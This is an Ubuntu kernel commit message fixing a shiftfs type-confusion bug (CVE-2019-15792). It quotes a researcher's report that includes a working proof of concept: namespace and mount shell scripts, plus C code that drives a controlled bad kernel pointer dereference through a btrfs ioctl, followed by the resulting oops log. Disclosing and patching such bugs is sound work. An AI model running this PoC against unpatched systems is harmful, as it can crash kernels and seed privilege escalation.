UBUNTU: SAUCE: shiftfs: prevent type confusion

UBUNTU: SAUCE: shiftfs: prevent type confusion

BugLink: https://bugs.launchpad.net/bugs/1850867
Verify filesystem type in shiftfs_real_fdget().

Quoting Jann Horn:
 #################### Bug 2: Type confusion ####################

 shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
 passes the resulting file* into shiftfs_real_fdget(), which does this:

 static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
 {
  struct shiftfs_file_info *file_info = file->private_data;
  struct file *realfile = file_info->realfile;

  lowerfd->flags = 0;
  lowerfd->file = realfile;

  /* Did the flags change since open? */
  if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
   return shiftfs_change_flags(lowerfd->file, file->f_flags);

  return 0;
 }

 file->private_data is a void* that points to a filesystem-dependent type; and
 some filesystems even use it to store a type-cast number instead of a pointer.
 The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.

 As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
 (with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
 offset 0x10), and I use that to cause a memory dereference somewhere around
 0x4242:

 =======================================
 user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
 #!/bin/sh
 sync
 unshare -mUr ./run2.sh
 user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
 #!/bin/sh
 set -e

 mkdir -p mnt/tmpfs
 mkdir -p mnt/shiftfs
 mount -t tmpfs none mnt/tmpfs
 mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
 mount|grep shift
 gcc -o ioctl ioctl.c -Wall
 ./ioctl
 user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
 #include <sys/ioctl.h>
 #include <fcntl.h>
 #include <err.h>
 #include <unistd.h>
 #include <linux/btrfs.h>
 #include <sys/mman.h>

 int main(void) {
   // make our vmacache sequence number something like 0x4242
   for (int i=0; i<0x4242; i++) {
     void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
         MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
     if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
     munmap(x, 0x1000);
   }

   int root = open("mnt/shiftfs", O_RDONLY);
   if (root == -1) err(1, "open shiftfs root");
   int foofd = open("/proc/self/environ", O_RDONLY);
   if (foofd == -1) err(1, "open foofd");
   // trigger the confusion
   struct btrfs_ioctl_vol_args iocarg = {
     .fd = foofd
   };
   ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
 }
 user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
 none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
 /home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
 [ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
 [ 348.105060] #PF: supervisor read access in kernel mode
 [ 348.106573] #PF: error_code(0x0000) - not-present page
 [ 348.108102] PGD 0 P4D 0
 [ 348.108871] Oops: 0000 [#1] SMP PTI
 [ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
 [ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
 [ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
 [ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
 [ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
 [ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
 [ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
 [ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
 [ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
 [ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
 [ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
 [ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 [ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
 [ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
 [ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
 [ 348.143545] Call Trace:
 [ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
 [ 348.145562] do_vfs_ioctl+0x407/0x670
 [ 348.146620] ? putname+0x4a/0x50
 [ 348.147556] ksys_ioctl+0x67/0x90
 [ 348.148514] __x64_sys_ioctl+0x1a/0x20
 [ 348.149593] do_syscall_64+0x5a/0x130
 [ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
 [ 348.152108] RIP: 0033:0x7f77fa76767b
 [ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
 [ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
 [ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
 [ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
 [ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
 [ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
 [ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
 [ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
 [ 348.188617] CR2: 0000000000004289
 [ 348.189586] ---[ end trace dad859a1db86d660 ]---
 [ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
 [ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
 [ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
 [ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
 [ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
 [ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
 [ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
 [ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
 [ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
 [ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 [ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
 [ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
 [ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
 Killed
 user@ubuntu1910vm:~/shiftfs_confuse$

Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
[ saf: use f_op->open instead as special inodes in shiftfs sbs
  will not use shiftfs open f_ops ]
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
CVE-2019-15792

Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Stefan Bader <stefan.bader@canonical.com>